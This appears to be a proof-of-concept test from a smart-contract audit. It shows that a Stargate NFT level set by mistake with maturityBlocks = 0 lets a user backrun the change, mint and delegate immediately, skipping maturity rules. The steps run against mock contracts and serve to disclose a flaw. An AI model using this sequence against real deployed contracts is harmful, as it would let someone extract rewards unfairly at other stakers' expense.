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it("Misconfigured Level With maturityBlocks = 0 Allows Permanent Skip of Maturity Requirements and Backrun Minting", async () => {
// 1. `LEVEL_OPERATOR_ROLE` call `StargateNFT::addLevel` and mistakenly sets maturityBlocks = 0.
const Level = {
name: "NOMAD",
isX: false,
id: 11,
maturityBlocks: 0,
scaledRewardFactor: 2,
vetAmountRequiredToStake: ethers.parseEther("2")
}
tx = await stargateNFTMockContract.connect(deployer).helper__setLevel(Level);
await tx.wait();
const LevelInfo = await stargateNFTMockContract.getLevel(11);
console.log("Name: ", LevelInfo.name);
console.log("Maturity blocks: ", LevelInfo.maturityBlocks);
console.log("Scaled reward factor: ", LevelInfo.scaledRewardFactor);
console.log("Stake amount required: ", LevelInfo.vetAmountRequiredToStake);
console.log("");
// 2. A user monitoring mempool detects the misconfiguration.
// 3. User backruns or immediately call `Stargate::stake(levelId)` to mint the NFT.
const levelSpec = await stargateNFTMockContract.getLevel(11);
tx = await stargateContract.connect(user).stake(11, {
value: levelSpec.vetAmountRequiredToStake
});
await tx.wait();
const TokenId = await stargateNFTMockContract.getCurrentTokenId();
const Token = {
tokenId: TokenId,
levelId: 11,
mintedAtBlock: 0,
vetAmountStaked: ethers.parseEther("2"),
lastVetGeneratedVthoClaimTimestamp_deprecated: 0
}
await stargateNFTMockContract.helper__setToken(Token);
const TokenInfo = await stargateNFTMockContract.getToken(TokenId);
console.log("tokenId: ", TokenInfo.tokenId);
console.log("levelId: ", TokenInfo.levelId);
// 4. Minted NFT is exempt from the maturity requirement.
// 5. User instantly call `Stargate::delegate(TokenId)` without waiting.
tx = await stargateContract.connect(user).delegate(TokenId, validator.address);
await tx.wait();
tx = await protocolStakerMockContract.helper__setValidationCompletedPeriods(
validator.address,
10
);
await tx.wait();
// assert the delegation is active
expect(await stargateContract.getDelegationStatus(TokenId)).to.equal(
DELEGATION_STATUS_ACTIVE
);
await tx.wait();
await protocolStakerMockContract.helper__setDelegationIsLocked(1, true);
const Delegation = await stargateContract.getDelegationDetails(TokenId);
console.log("Delegation Id: ", Delegation.delegationId);
console.log("Validator: ", Delegation.validator);
console.log("Delegated Stake: ", Delegation.stake);
console.log("Probability Multiplier: ", Delegation.probabilityMultiplier);
console.log("Start Period: ", Delegation.startPeriod);
console.log("End Period: ", Delegation.endPeriod);
console.log("is Locked ?: ", Delegation.isLocked);
console.log("Delegation status: ", Delegation.status);
// 6. The protocol cannot fix the misconfigured NFT Level without:
// pausing the contract, deploying upgrade , adding a new function for `updateLevel`.
});